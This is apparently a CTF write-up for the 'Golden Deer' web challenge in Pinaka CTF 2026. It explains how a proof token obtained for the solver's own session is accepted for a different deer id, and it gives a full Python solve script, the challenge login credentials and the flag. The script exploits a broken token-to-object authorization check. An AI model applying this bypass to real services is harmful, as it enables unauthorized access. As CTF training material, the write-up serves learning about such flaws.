The Golden Deer
By Team Cryptonite · 2 min read
About the CTF: Pinaka CTF
A golden deer flickers at the edge of the forest, too perfect to be real. Chase it through Ravana's web and you will find the illusion was a lure all along. Catch what was never meant to be caught.
**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups
>A golden deer flickers at the edge of the forest, too perfect to be real. Chase it through Ravana's web and you will find the illusion was a lure all along. Catch what was never meant to be caught. Connection: https://pinaka-golden-deer.onrender.com/ (log in with ranger / jatayu-watch; client ./mayanet-cli)
Solve:
- These are the endpoints we had:
- /api/login -> authenticate and get an X-Session token
- /api/update -> submit telemetry events
- /api/projection -> read model ordered by (ts, retry)
- /api/authoritative -> read model ordered by seq
- /api/proof -> returns a proof_token only when the two read models diverge
- /api/events/raw -> paginated raw event dump
- /api/validate -> submit {prooftoken, deerid, sequence}
- the cli auth header was
X-Session: <token>which i discovered from the client source - in
capture-24h.jsonlthere were 9 deer ids nd 8 of them had ~6200 events each with randomprev_sig/sigand zero hash links deer-d51269dc11ccwas the only deer with a realprev_sig -> sigchain. It had 396 events, but only 256 formed the genuine chain starting from the zero-hash genesis:

- Following
sig -> prevsigfrom that genesis yielded exactly 256 events. remaining 140 events were decoys with unrelatedprevsigvalues. and all events hadretry = 0 - The trail is simply the ordered coordinates:
trail = [[e["x"], e["y"]] for e in chain]
- To get a
proof_token, the two read models had to disagree./api/projectionorders by(ts, retry)while/api/authoritativeorders byseq, so I submitted:
update seq=1 ts=1700000000001 x=10 y=20
update seq=0 ts=1700000000002 x=99 y=99
- intended logic should reject when
token.deerid != body.deerid, but instead any session with a divergence can validate any deer - what i did was open a session, create divergence, get our own
training-deerproof token, then validatedeer-d51269dc11ccwith that token and the 256-event trail - Script:
import json, collections, urllib.request
BASE = "https://pinaka-golden-deer.onrender.com"
def call(path, token=None, body=None):
data = json.dumps(body).encode()
req = urllib.request.Request(BASE + path, data=data, method="POST")
req.add_header("Content-Type", "application/json")
if token:
req.add_header("X-Session", token)
with urllib.request.urlopen(req) as r:
return json.loads(r.read())
tok = call("/api/login", body={"username": "ranger", "password": "jatayu-watch"})["token"]
call("/api/update", tok, {"seq": 1, "ts": 1700000000001, "retry": 0, "x": 10, "y": 20})
call("/api/update", tok, {"seq": 0, "ts": 1700000000002, "retry": 0, "x": 99, "y": 99})
proof = call("/api/proof", tok)["proof_token"]
events = collections.defaultdict(list)
for line in open("capture-24h.jsonl"):
if line.strip():
e = json.loads(line)
events[e["deer_id"]].append(e)
chain = None
for deer, evs in events.items():
genesis = [e for e in evs if e["prev_sig"] == "0" * 64]
if not genesis:
continue
by_prev = collections.defaultdict(list)
for e in evs:
by_prev[e["prev_sig"]].append(e)
cur, seen, walk = genesis[0]["sig"], {genesis[0]["sig"]}, [genesis[0]]
while True:
nxt = [e for e in by_prev.get(cur, []) if e["sig"] not in seen]
if not nxt:
break
e = nxt[0]; walk.append(e); seen.add(e["sig"]); cur = e["sig"]
if len(walk) > 1:
chain = walk
print(f"[+] {deer}: real chain length {len(walk)}")
trail = [[e["x"], e["y"]] for e in chain]
print("[+] trail events:", len(trail), trail[:3], "...", trail[-3:])
print(call("/api/validate", tok, {
"proof_token": proof,
"deer_id": "deer-d51269dc11cc",
"sequence": trail,
}))
- Output:

Flag:
PINAKA{m4richaillus10nc0llaps3swh3ny0uf0ll0wth3_cha1n}